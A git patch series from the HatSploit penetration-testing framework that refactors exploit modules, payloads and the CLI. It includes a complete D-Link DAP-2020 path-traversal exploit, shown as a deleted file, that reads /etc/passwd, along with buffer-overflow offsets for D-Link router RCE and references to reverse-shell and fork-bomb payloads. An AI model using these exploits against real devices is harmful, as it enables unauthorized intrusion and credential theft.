"2023-09-16", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) self.url = Option(None, "Media URL.", True) diff --git a/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py b/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py index b5be21dea..437992ee4 100755 --- a/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py +++ b/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py @@ -16,15 +16,42 @@ def __init__(self): 'Name': "Cypress CTM SSH backdoor password", 'Module': "exploit/linux/cypress/ctm_backdoor_password", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", + "LiquidWorm - vulnerability researcher" ], - 'Description': "Remote code execution through SSH backdoor in Cypress CTM devices.", + 'Description': ( + "Remote code execution through SSH backdoor in Cypress CTM devices." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, 'Payload': { - 'Value': "unix/generic/netcat_reverse_tcp", - 'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC], - 'Platforms': [OS_LINUX, OS_UNIX], + PayloadInlineMixin: { + 'Value': "unix/generic/netcat_reverse_tcp", + 'Platform': [OS_LINUX, OS_UNIX], + 'Arch': [ARCH_GENERIC] + }, + PayloadDropMixin: { + 'Value': "linux/armle/shell_reverse_tcp", + 'Platform': [OS_LINUX], + 'Arch': [ARCH_ARMLE, ARCH_AARCH64] + } + }, + 'Devices': [ + "CTM-ONE (1.3.6-latest)", + "CTM-ONE (1.3.1)", + "CTM-ONE (1.1.9)", + "CTM-200 (2.7.1.5659-latest)", + "CTM-200 (2.0.5.3356-184)" + ], + 'References': [ + {'URL': 'https://www.exploit-db.com/exploits/50407'}, + {'EDB': 50407} + ], + 'DisclosureDate': "2021-10-13", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [], } }) diff --git a/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py b/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py deleted file mode 100755 index 4997defd5..000000000 --- a/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py +++ /dev/null @@ -1,62 +0,0 @@ -""" -This module requires HatSploit: https://hatsploit.com -Current source: https://github.com/EntySec/HatSploit -""" - -from hatsploit.lib.module.basic import * -from hatsploit.lib.module.proto import HTTP - -from pex.string import String - - -class HatSploitModule(Module, HTTP, String): - def __init__(self): - super().__init__() - - self.details.update({ - 'Category': "exploit", - 'Name': "D-Link DAP-2020 Path Traversal", - 'Module': "exploit/linux/dlink/dap_2020_path_traversal", - 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - ], - 'Description': "Path Traversal through incorrect login in D-Link DAP-2020 <= v6.10.", - 'Platform': OS_LINUX, - 'Rank': "high", - }) - - self.file = Option("/etc/passwd", "File to read.", True) - - def check(self): - response = self.http_request( - method="GET", - path='/cgi-bin/webproc' - ) - - if not response or response.status_code != 200: - return False - - return True - - def run(self): - response = self.http_request( - method="POST", - path=f'/cgi-bin/webproc', - data=( - f'getpage=html%2Findex.html&errorpage={self.file.value}' - '&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true' - f'&obj-action=auth&%3Ausername=admin&%3Apassword={self.random_string(8)}' - '&%3Aaction=login&%3Asessionid=365dfaef' - ), - ) - - if response.text: - if ( - f"Pagefile open failed(File:{self.base64_string(self.file.value)}" - in response.text - ): - self.print_error("Failed to open file!") - else: - self.print_empty(f"\n{response.text}") - else: - self.print_warning("File is empty.") diff --git a/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py b/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py index efc98c459..fa88d6d0f 100755 --- a/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py +++ b/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py @@ -16,11 +16,27 @@ def __init__(self): 'Name': "D-Link DCS Credentials Disclosure", 'Module': "exploit/linux/dlink/dcs_credentials_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "D-Link DCS-2530L < 1.06.01 and DCS-2670L <= 2.02 credentials disclosure exploit.", + 'Description': ( + "D-Link DCS-2530L < 1.06.01 and DCS-2670L <= 2.02 credentials disclosure exploit." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Devices': [ + "D-Link DCS-2530L < 1.06.01", + "DCS-2670L <= 2.02", + ], + 'References': [ + {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2020-25078'}, + {'CVE': '2020-25078'}, + ], + 'DisclosureDate': "2020-09-02", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py b/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py index bc58bf78e..1543d3371 100755 --- a/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py +++ b/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py @@ -18,12 +18,26 @@ def __init__(self): 'Name': "D-Link DIR-645 Credentials Disclosure", 'Module': "exploit/linux/dlink/dir645_credentials_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Roberto Paleari - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Roberto Paleari - vulnerability researcher", ], - 'Description': "D-Link DIR-645 < 1.03 credentials disclosure exploit.", + 'Description': ( + "D-Link DIR-645 < 1.03 credentials disclosure exploit." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Devices': [ + "D-Link DIR-645 < 1.03", + ], + 'References': [ + {'URL': 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'}, + ], + 'DisclosureDate': "2013-03-01", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py b/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py index b54d71ee0..a7ba7d180 100755 --- a/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py +++ b/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py @@ -20,32 +20,65 @@ def __init__(self): 'Name': "D-Link hedwig Remote Code Execution", 'Module': "exploit/linux/dlink/hedwig_code_execution", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Roberto Paleari - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Roberto Paleari - vulnerability researcher", ], - 'Description': "Remote Code Execution in D-Link DIR-645 <= 1.03, DIR-300 <= 2.14, DIR-600.", + 'Description': ( + "Remote Code Execution in D-Link DIR-645 <= 1.03, DIR-300 <= 2.14, DIR-600." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Targets': { + 'D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600': { + 'Offset': 973, + 'LibcBase': 0x2aaf800, + 'System': 0x000531ff, + 'CalcSystem': 0x000158c8, + 'CallSystem': 0x000159cc + }, + 'D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600 (QEMU)': { + 'Offset': 973, + 'LibcBase': 0x40854000, + 'System': 0x000531ff, + 'CalcSystem': 0x000158c8, + 'CallSystem': 0x000159cc + } + }, 'Payload': { - 'Value': "linux/mipsle/shell_reverse_tcp", - 'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC], - 'Platforms': [OS_LINUX, OS_UNIX], + PayloadDropMixin: { + 'Value': "linux/mipsle/shell_reverse_tcp", + 'Platform': [OS_LINUX, OS_UNIX], + 'Arch': [ARCH_MIPSLE, ARCH_MIPSBE], + } + }, + 'Devices': [ + "D-Link DIR-645 v1.03", + "D-Link DIR-300 v2.14", + "D-Link DIR-600" + ], + 'References': [ + {'URL': 'https://www.exploit-db.com/exploits/27283'}, + {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2013-7389'}, + {'CVE': '2013-7389'}, + {'EDB': 27283}, + ], + 'DisclosureDate': "2014-07-07", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [], } }) def exploit(self, command): command = command.encode("utf-8") - libcbase = 0x2AAF8000 - system = 0x000531FF - calcsystem = 0x000158C8 - callsystem = 0x000159CC - shellcode = self.random_string(973).encode("utf-8") - shellcode += struct.pack(" Date: Thu, 25 Jul 2024 00:48:59 +0200 Subject: [PATCH 10/16] Grand update --- hatsploit/__main__.py | 121 +-- hatsploit/commands/advanced.py | 24 +- hatsploit/commands/back.py | 40 +- hatsploit/commands/banner.py | 14 +- hatsploit/commands/clear.py | 25 - hatsploit/commands/devices.py | 21 +- hatsploit/commands/encoder_db.py | 44 +- hatsploit/commands/encoders.py | 23 +- hatsploit/commands/exec.py | 29 - hatsploit/commands/exit.py | 21 +- hatsploit/commands/help.py | 29 - hatsploit/commands/history.py | 28 +- hatsploit/commands/info.py | 31 +- hatsploit/commands/jobs.py | 30 +- hatsploit/commands/load.py | 27 +- hatsploit/commands/log.py | 20 +- hatsploit/commands/loot.py | 28 +- hatsploit/commands/module_db.py | 44 +- hatsploit/commands/modules.py | 30 +- hatsploit/commands/options.py | 22 +- hatsploit/commands/payload_db.py | 44 +- hatsploit/commands/payloads.py | 22 +- hatsploit/commands/plugin_db.py | 47 +- hatsploit/commands/plugins.py | 22 +- hatsploit/commands/pyshell.py | 12 +- hatsploit/commands/repeat.py | 21 +- hatsploit/commands/rpc.py | 28 +- hatsploit/commands/run.py | 50 +- hatsploit/commands/search.py | 58 +- hatsploit/commands/sessions.py | 56 +- hatsploit/commands/set.py | 20 +- hatsploit/commands/sleep.py | 15 +- hatsploit/commands/storage.py | 86 -- hatsploit/commands/target.py | 20 +- hatsploit/commands/targets.py | 20 +- hatsploit/commands/tip.py | 14 +- hatsploit/commands/unload.py | 24 +- hatsploit/commands/unset.py | 18 +- hatsploit/commands/use.py | 35 +- hatsploit/config/core_config.yml | 6 +- hatsploit/core/base/console.py | 134 +-- hatsploit/core/base/execute.py | 338 ------- hatsploit/core/base/loader.py | 34 +- hatsploit/core/db/builder.py | 224 +++-- hatsploit/core/db/db.py | 149 ++-- hatsploit/core/db/importer.py | 121 +-- hatsploit/core/utils/check.py | 187 ++-- hatsploit/core/utils/rpc.py | 6 +- hatsploit/core/utils/tools.py | 58 -- hatsploit/core/utils/ui/banner.py | 56 +- hatsploit/core/utils/ui/completer.py | 127 --- hatsploit/core/utils/ui/tip.py | 44 +- hatsploit/core/utils/update.py | 16 +- hatsploit/encoders/generic/base64.py | 18 +- hatsploit/encoders/x64/xor.py | 18 +- hatsploit/lib/command.py | 57 -- hatsploit/lib/commands.py | 205 ----- hatsploit/lib/complex.py | 149 +++- hatsploit/lib/config.py | 15 +- hatsploit/lib/encoder/__init__.py | 72 -- hatsploit/lib/encoder/basic.py | 28 - hatsploit/lib/encoders.py | 302 ------- hatsploit/lib/handle.py | 32 +- hatsploit/lib/handler/__init__.py | 211 ----- hatsploit/lib/handler/misc.py | 93 -- hatsploit/lib/handler/send.py | 344 ------- hatsploit/lib/history.py | 105 --- hatsploit/lib/jobs.py | 198 ----- hatsploit/lib/log.py | 9 +- hatsploit/lib/loot.py | 47 +- hatsploit/lib/module/__init__.py | 83 -- hatsploit/lib/module/basic.py | 35 - hatsploit/lib/module/proto/__init__.py | 33 - hatsploit/lib/module/proto/adb.py | 53 -- hatsploit/lib/module/proto/chromecast.py | 52 -- hatsploit/lib/module/proto/ftp.py | 55 -- hatsploit/lib/module/proto/http.py | 68 -- hatsploit/lib/module/proto/rtsp.py | 53 -- hatsploit/lib/module/proto/snmp.py | 53 -- hatsploit/lib/module/proto/ssh.py | 57 -- hatsploit/lib/module/proto/stream.py | 50 -- hatsploit/lib/module/proto/tcp.py | 77 -- hatsploit/lib/module/proto/udp.py | 53 -- hatsploit/lib/modules.py | 645 -------------- hatsploit/lib/option.py | 295 ------ hatsploit/lib/options.py | 247 ------ hatsploit/lib/payload/__init__.py | 77 -- hatsploit/lib/payload/basic.py | 32 - hatsploit/lib/payloads.py | 428 --------- hatsploit/lib/plugin.py | 54 -- hatsploit/lib/plugins.py | 247 ------ hatsploit/lib/runtime.py | 47 +- hatsploit/lib/session/__init__.py | 110 --- hatsploit/lib/session/basic.py | 26 - hatsploit/lib/sessions.py | 278 ------ hatsploit/lib/show.py | 837 ------------------ hatsploit/lib/storage.py | 38 +- .../android/checker/check_adb_installation.py | 26 +- .../apple_ios/checker/jailbroken_or_not.py | 24 +- .../generic/scanner/directory_scanner.py | 18 +- .../auxiliary/generic/scanner/http_header.py | 57 -- .../auxiliary/generic/scanner/http_methods.py | 72 -- .../android/adb/remote_code_execution.py | 8 +- .../apple_ios/safari/webkit_filter_dos.py | 10 +- .../apple_ios/ssh/cydia_default_password.py | 8 +- .../exploit/generic/apache/nifi_api_rce.py | 8 +- .../generic/gather/browser_webcam_photo.py | 20 +- .../generic/gather/browser_webcam_stream.py | 20 +- hatsploit/modules/exploit/generic/handler.py | 12 +- .../generic/icewarp/webmail_path_traversal.py | 10 +- .../modules/exploit/generic/shell_handler.py | 32 + .../generic/ssh/server_code_execution.py | 8 +- .../3com/ap8670_credentials_disclosure.py | 8 +- .../exploit/linux/antiweb/path_traversal.py | 10 +- .../linux/asus/rt_n16_password_disclosure.py | 10 +- .../avtech/ipcamera_credentials_disclosure.py | 8 +- .../avtech/ipcamera_information_disclosure.py | 8 +- .../brickcom/multi_credentials_disclosure.py | 8 +- .../linux/chromecast/play_media_url.py | 12 +- .../linux/cypress/ctm_backdoor_password.py | 8 +- .../linux/dlink/dcs_credentials_disclosure.py | 8 +- .../dlink/dir645_credentials_disclosure.py | 8 +- .../linux/dlink/hedwig_code_execution.py | 23 +- .../exploit/linux/fhem/path_traversal.py | 10 +- .../linux/generic/32764_code_execution.py | 18 +- .../generic/32764_credentials_disclosure.py | 14 +- .../generic/dvr_credentials_disclosure.py | 8 +- .../linux/generic/p2p_authenticated_rce.py | 15 +- .../linux/generic/p2p_password_disclosure.py | 14 +- .../huawei/hg630_information_disclosure.py | 8 +- .../jvc/t216vpru_credentials_disclosure.py | 8 +- .../linux/jvc/t216vpru_path_traversal.py | 10 +- .../linux/linksys/eseries_tmunblock_rce.py | 11 +- .../linux/linksys/wap54gv3_debug_rce.py | 11 +- .../mikrotik/winbox_credentials_disclosure.py | 8 +- .../linux/movistar/adsl_path_traversal.py | 10 +- .../ipcamera_information_disclosure.py | 8 +- .../netwave/wpa_information_disclosure.py | 8 +- .../linux/nostromo/remote_code_execution.py | 12 +- .../rompager/multi_password_disclosure.py | 14 +- .../selea/targa_anpr_authenticated_rce.py | 10 +- .../selea/targa_anpr_password_disclosure.py | 10 +- .../linux/selea/targa_anpr_path_traversal.py | 10 +- .../ccms2025_credentials_disclosure.py | 8 +- .../linux/siemens/ccms2025_path_traversal.py | 10 +- .../linux/skybridge/100_110_code_execution.py | 8 +- .../100_110_credentials_disclosure.py | 8 +- .../exploit/linux/zte/f460_f660_rce.py | 15 +- .../windows/handler/bitsadmin_reverse_http.py | 74 -- .../windows/handler/mshta_reverse_http.py | 74 -- .../windows/handler/regsvr32_reverse_http.py | 84 -- .../windows/handler/wmic_reverse_http.py | 78 -- .../modules/post/apple_ios/shell/respring.py | 8 +- .../post/apple_ios/shell/safari_bookmarks.py | 17 +- .../post/apple_ios/shell/safari_history.py | 18 +- hatsploit/modules/post/macos/shell/suspend.py | 8 +- .../modules/post/unix/shell/getpasswd.py | 15 +- hatsploit/modules/post/unix/shell/getpid.py | 8 +- hatsploit/payloads/linux/armle/fork_bomb.py | 29 - .../payloads/linux/armle/shell_bind_tcp.py | 51 -- .../payloads/linux/armle/shell_reverse_tcp.py | 45 - .../payloads/macos/x64/shell_reverse_tcp.py | 82 -- .../phase/linux/aarch64/reverse_tcp.py | 36 + .../single/linux/aarch64/shell_bind_tcp.py | 91 ++ .../linux/aarch64/shell_reverse_tcp.py | 21 +- .../payloads/single/linux/armbe/fork_bomb.py | 44 + .../single/linux/armbe/shell_bind_tcp.py | 125 +++ .../single/linux/armbe/shell_reverse_tcp.py | 113 +++ .../payloads/single/linux/armle/fork_bomb.py | 44 + .../single/linux/armle/shell_bind_tcp.py | 125 +++ .../single/linux/armle/shell_reverse_tcp.py | 113 +++ .../{ => single}/linux/generic/fork_bomb.py | 8 +- .../{ => single}/linux/mipsbe/reboot.py | 19 +- .../linux/mipsbe/shell_bind_tcp.py | 83 +- .../linux/mipsbe/shell_reverse_tcp.py | 80 +- .../{ => single}/linux/mipsle/reboot.py | 19 +- .../linux/mipsle/shell_bind_tcp.py | 83 +- .../linux/mipsle/shell_reverse_tcp.py | 80 +- .../{ => single}/linux/x64/fork_bomb.py | 20 +- .../{ => single}/linux/x64/kill_all.py | 20 +- .../payloads/{ => single}/linux/x64/reboot.py | 20 +- .../{ => single}/linux/x64/shell_bind_tcp.py | 22 +- .../linux/x64/shell_reverse_tcp.py | 22 +- .../{ => single}/linux/x64/shutdown.py | 20 +- .../{ => single}/linux/x86/shell_bind_tcp.py | 22 +- .../linux/x86/shell_reverse_tcp.py | 22 +- .../macos/generic/applescript_reverse_tcp.py | 8 +- .../payloads/{ => single}/macos/x64/say.py | 16 +- .../{ => single}/macos/x64/shell_bind_tcp.py | 73 +- .../single/macos/x64/shell_reverse_tcp.py | 71 ++ .../unix/generic/bash_reverse_tcp.py | 8 +- .../{ => single}/unix/generic/custom.py | 10 +- .../unix/generic/ksh_reverse_tcp.py | 8 +- .../unix/generic/netcat_reverse_tcp.py | 8 +- .../unix/generic/netcate_reverse_tcp.py | 8 +- .../unix/generic/perl_reverse_tcp.py | 8 +- .../unix/generic/php_reverse_tcp.py | 8 +- .../unix/generic/ruby_reverse_tcp.py | 8 +- .../{ => single}/unix/generic/zsh_bind_tcp.py | 8 +- .../unix/generic/zsh_reverse_tcp.py | 8 +- .../{ => single}/windows/generic/calc.py | 8 +- .../windows/generic/message_box.py | 10 +- .../windows/generic/powershell_reverse_tcp.py | 8 +- .../{ => single}/windows/generic/say.py | 10 +- .../windows/x64/shell_reverse_tcp.py | 11 +- hatsploit/plugins/cowsay.py | 34 +- hatsploit/plugins/ngrok.py | 63 +- 207 files changed, 2620 insertions(+), 9076 deletions(-) mode change 100755 => 100644 hatsploit/commands/advanced.py delete mode 100755 hatsploit/commands/clear.py delete mode 100755 hatsploit/commands/exec.py delete mode 100755 hatsploit/commands/help.py delete mode 100755 hatsploit/commands/storage.py delete mode 100755 hatsploit/core/base/execute.py delete mode 100755 hatsploit/core/utils/tools.py mode change 100755 => 100644 hatsploit/core/utils/ui/banner.py delete mode 100755 hatsploit/core/utils/ui/completer.py mode change 100755 => 100644 hatsploit/core/utils/ui/tip.py delete mode 100755 hatsploit/lib/command.py delete mode 100755 hatsploit/lib/commands.py delete mode 100644 hatsploit/lib/encoder/__init__.py delete mode 100644 hatsploit/lib/encoder/basic.py delete mode 100755 hatsploit/lib/encoders.py delete mode 100755 hatsploit/lib/handler/__init__.py delete mode 100755 hatsploit/lib/handler/misc.py delete mode 100644 hatsploit/lib/handler/send.py delete mode 100755 hatsploit/lib/history.py delete mode 100755 hatsploit/lib/jobs.py delete mode 100644 hatsploit/lib/module/__init__.py delete mode 100644 hatsploit/lib/module/basic.py delete mode 100644 hatsploit/lib/module/proto/__init__.py delete mode 100644 hatsploit/lib/module/proto/adb.py delete mode 100644 hatsploit/lib/module/proto/chromecast.py delete mode 100644 hatsploit/lib/module/proto/ftp.py delete mode 100644 hatsploit/lib/module/proto/http.py delete mode 100644 hatsploit/lib/module/proto/rtsp.py delete mode 100644 hatsploit/lib/module/proto/snmp.py delete mode 100644 hatsploit/lib/module/proto/ssh.py delete mode 100644 hatsploit/lib/module/proto/stream.py delete mode 100644 hatsploit/lib/module/proto/tcp.py delete mode 100644 hatsploit/lib/module/proto/udp.py delete mode 100755 hatsploit/lib/modules.py delete mode 100644 hatsploit/lib/option.py delete mode 100755 hatsploit/lib/options.py delete mode 100644 hatsploit/lib/payload/__init__.py delete mode 100644 hatsploit/lib/payload/basic.py delete mode 100755 hatsploit/lib/payloads.py delete mode 100755 hatsploit/lib/plugin.py delete mode 100755 hatsploit/lib/plugins.py delete mode 100644 hatsploit/lib/session/__init__.py delete mode 100644 hatsploit/lib/session/basic.py delete mode 100755 hatsploit/lib/sessions.py delete mode 100755 hatsploit/lib/show.py delete mode 100755 hatsploit/modules/auxiliary/generic/scanner/http_header.py delete mode 100755 hatsploit/modules/auxiliary/generic/scanner/http_methods.py create mode 100644 hatsploit/modules/exploit/generic/shell_handler.py delete mode 100755 hatsploit/modules/exploit/windows/handler/bitsadmin_reverse_http.py delete mode 100755 hatsploit/modules/exploit/windows/handler/mshta_reverse_http.py delete mode 100755 hatsploit/modules/exploit/windows/handler/regsvr32_reverse_http.py delete mode 100755 hatsploit/modules/exploit/windows/handler/wmic_reverse_http.py delete mode 100755 hatsploit/payloads/linux/armle/fork_bomb.py delete mode 100755 hatsploit/payloads/linux/armle/shell_bind_tcp.py delete mode 100755 hatsploit/payloads/linux/armle/shell_reverse_tcp.py delete mode 100755 hatsploit/payloads/macos/x64/shell_reverse_tcp.py create mode 100644 hatsploit/payloads/phase/linux/aarch64/reverse_tcp.py create mode 100644 hatsploit/payloads/single/linux/aarch64/shell_bind_tcp.py rename hatsploit/payloads/{ => single}/linux/aarch64/shell_reverse_tcp.py (76%) create mode 100644 hatsploit/payloads/single/linux/armbe/fork_bomb.py create mode 100644 hatsploit/payloads/single/linux/armbe/shell_bind_tcp.py create mode 100644 hatsploit/payloads/single/linux/armbe/shell_reverse_tcp.py create mode 100755 hatsploit/payloads/single/linux/armle/fork_bomb.py create mode 100755 hatsploit/payloads/single/linux/armle/shell_bind_tcp.py create mode 100755 hatsploit/payloads/single/linux/armle/shell_reverse_tcp.py rename hatsploit/payloads/{ => single}/linux/generic/fork_bomb.py (81%) rename hatsploit/payloads/{ => single}/linux/mipsbe/reboot.py (66%) rename hatsploit/payloads/{ => single}/linux/mipsbe/shell_bind_tcp.py (83%) rename hatsploit/payloads/{ => single}/linux/mipsbe/shell_reverse_tcp.py (80%) rename hatsploit/payloads/{ => single}/linux/mipsle/reboot.py (66%) rename hatsploit/payloads/{ => single}/linux/mipsle/shell_bind_tcp.py (83%) rename hatsploit/payloads/{ => single}/linux/mipsle/shell_reverse_tcp.py (80%) rename hatsploit/payloads/{ => single}/linux/x64/fork_bomb.py (57%) rename hatsploit/payloads/{ => single}/linux/x64/kill_all.py (60%) rename hatsploit/payloads/{ => single}/linux/x64/reboot.py (61%) rename hatsploit/payloads/{ => single}/linux/x64/shell_bind_tcp.py (80%) rename hatsploit/payloads/{ => single}/linux/x64/shell_reverse_tcp.py (77%) rename hatsploit/payloads/{ => single}/linux/x64/shutdown.py (61%) rename hatsploit/payloads/{ => single}/linux/x86/shell_bind_tcp.py (82%) rename hatsploit/payloads/{ => single}/linux/x86/shell_reverse_tcp.py (81%) rename hatsploit/payloads/{ => single}/macos/generic/applescript_reverse_tcp.py (84%) rename hatsploit/payloads/{ => single}/macos/x64/say.py (78%) rename hatsploit/payloads/{ => single}/macos/x64/shell_bind_tcp.py (52%) create mode 100755 hatsploit/payloads/single/macos/x64/shell_reverse_tcp.py rename hatsploit/payloads/{ => single}/unix/generic/bash_reverse_tcp.py (85%) rename hatsploit/payloads/{ => single}/unix/generic/custom.py (74%) rename hatsploit/payloads/{ => single}/unix/generic/ksh_reverse_tcp.py (83%) rename hatsploit/payloads/{ => single}/unix/generic/netcat_reverse_tcp.py (86%) rename hatsploit/payloads/{ => single}/unix/generic/netcate_reverse_tcp.py (83%) rename hatsploit/payloads/{ => single}/unix/generic/perl_reverse_tcp.py (87%) rename hatsploit/payloads/{ => single}/unix/generic/php_reverse_tcp.py (86%) rename hatsploit/payloads/{ => single}/unix/generic/ruby_reverse_tcp.py (86%) rename hatsploit/payloads/{ => single}/unix/generic/zsh_bind_tcp.py (84%) rename hatsploit/payloads/{ => single}/unix/generic/zsh_reverse_tcp.py (84%) rename hatsploit/payloads/{ => single}/windows/generic/calc.py (81%) rename hatsploit/payloads/{ => single}/windows/generic/message_box.py (79%) rename hatsploit/payloads/{ => single}/windows/generic/powershell_reverse_tcp.py (95%) rename hatsploit/payloads/{ => single}/windows/generic/say.py (79%) rename hatsploit/payloads/{ => single}/windows/x64/shell_reverse_tcp.py (94%) diff --git a/hatsploit/__main__.py b/hatsploit/__main__.py index d536f574e..ce2746bdc 100755 --- a/hatsploit/__main__.py +++ b/hatsploit/__main__.py @@ -22,16 +22,15 @@ SOFTWARE. """ -import argparse import os import sys -import yaml +import argparse from hatasm import HatAsm from typing import Any, Optional from badges import Badges, Tables -from pex.platform.types import EXEC_FORMATS +from pex.platform import EXEC_FORMATS from hatsploit.core.base.console import Console @@ -43,34 +42,22 @@ from hatsploit.core.utils.update import Update from hatsploit.lib.config import Config -from hatsploit.lib.jobs import Jobs +from hatsploit.lib.ui.jobs import Jobs from hatsploit.lib.runtime import Runtime -from hatsploit.lib.payloads import Payloads -from hatsploit.lib.encoders import Encoders -from hatsploit.lib.show import Show +from hatsploit.lib.ui.payloads import Payloads +from hatsploit.lib.ui.encoders import Encoders +from hatsploit.lib.ui.show import Show -class HatSploit(object): +class HatSploit(Badges, Config): """ Main class of hatsploit module. This main class of hatsploit module is a representation of HatSploit Framework CLI interface. """ - def __init__(self) -> None: - super().__init__() - - self.jobs = Jobs() - self.config = Config() - self.runtime = Runtime() - - self.console = Console() - self.builder = Builder() - self.badges = Badges() - self.check = Check() - self.update = Update() - - self.path_config = self.config.path_config + jobs = Jobs() + runtime = Runtime() def policy(self) -> bool: """ Print Terms of Service and ask for confirmation. @@ -80,14 +67,14 @@ def policy(self) -> bool: """ if not os.path.exists(self.path_config['accept_path']): - self.badges.print_information("--( The HatSploit Terms of Service )--") + self.print_information("--( The HatSploit Terms of Service )--") with open( self.path_config['policy_path'] + 'terms_of_service.txt', 'r' ) as f: - self.badges.print_empty(f.read()) + self.print_empty(f.read()) - agree = self.badges.input_question( + agree = self.input_question( "Accept HatSploit Framework Terms of Service? [y/n] " ) if agree[0].lower() not in ['y', 'yes']: @@ -113,8 +100,8 @@ def initialize(self, silent: bool = False) -> bool: build = False - if not self.builder.check_base_built(): - build = self.badges.input_question( + if not Builder().check_base_built(): + build = self.input_question( "Do you want to build and connect base databases? [y/n] " ) @@ -141,9 +128,9 @@ def launch(self, shell: bool = True, scripts: list = [], rpc: list = []) -> None if len(rpc) >= 2: self.jobs.create_job(f"RPC on port {str(rpc[1])}", "", RPC(*rpc).run) - self.console.shell() + Console().shell() else: - self.console.script(scripts, shell) + Console().script(scripts, shell) def cli(self) -> None: """ Main command-line arguments handler. @@ -237,22 +224,22 @@ def cli(self) -> None: rpc = (args.host or '127.0.0.1', args.port or 5000) if args.check_all: - sys.exit(not self.check.check_all()) + sys.exit(not Check().check_all()) elif args.check_modules: - sys.exit(self.check.check_modules()) + sys.exit(Check().check_modules()) elif args.check_payloads: - sys.exit(self.check.check_payloads()) + sys.exit(Check().check_payloads()) elif args.check_plugins: - sys.exit(self.check.check_plugins()) + sys.exit(Check().check_plugins()) elif args.check_encoders: - sys.exit(self.check.check_encoders()) + sys.exit(Check().check_encoders()) elif args.update: - self.update.update() + Update().update() sys.exit(0) elif args.script: @@ -315,28 +302,15 @@ def __call__(self, parser: Any, namespace: Any, values: str, setattr(namespace, self.dest, options) -class HatSploitGen(HatSploit): +class HatSploitGen(HatSploit, Tables, HatAsm): """ Main class of hatsploit module. This main class of hatsploit module is a payload generator CLI interface. """ - def __init__(self) -> None: - super().__init__() - - self.hatasm = HatAsm() - self.payloads = Payloads() - self.encoders = Encoders() - - self.show = Show() - - self.badges = Badges() - self.tables = Tables() - self.config = Config() - - self.builder = Builder() - self.db = DB() + payloads = Payloads() + encoders = Encoders() def cli(self) -> None: """ Main command-line arguments handler. @@ -431,6 +405,7 @@ def cli(self) -> None: '-a', '--assembly', dest='assembly', + action='store_true', help='Show assembly for payloads. (requires --arch)' ) parser.add_argument( @@ -448,12 +423,12 @@ def cli(self) -> None: args = parser.parse_args() if args.custom: - self.badges.print_process(f"Using {args.custom} as custom payload path...") + self.print_process(f"Using {args.custom} as custom payload path...") - self.builder.build_payload_database( - args.custom, self.config.path_config['db_path'] + 'custom.json') - self.db.connect_payload_database( - 'custom', self.config.path_config['db_path'] + 'custom.json') + Builder().build_payload_database( + args.custom, self.path_config['db_path'] + 'custom.json') + DB().connect_payload_database( + 'custom', self.path_config['db_path'] + 'custom.json') if args.payloads or args.encoders: query = '' @@ -464,10 +439,10 @@ def cli(self) -> None: query += '/' + args.arch if args.payloads: - self.show.show_search_payloads( + Show().show_search_payloads( self.payloads.get_payloads(), query) elif args.encoders: - self.show.show_search_encoders( + Show().show_search_encoders( self.encoders.get_encoders(), query) elif args.formats: @@ -478,7 +453,7 @@ def cli(self) -> None: platforms = ', '.join([str(p) for p in EXEC_FORMATS[format]]) data.append((format, platforms)) - self.tables.print_table("Formats", ('Format', 'Platforms'), *data) + self.print_table("Formats", ('Format', 'Platforms'), *data) else: formats = [] @@ -488,10 +463,10 @@ def cli(self) -> None: formats.append(format) data = [(args.platform, ', '.join(formats))] - self.tables.print_table("Formats", ('Platform', 'Formats'), *data) + self.print_table("Formats", ('Platform', 'Formats'), *data) elif args.payload: - 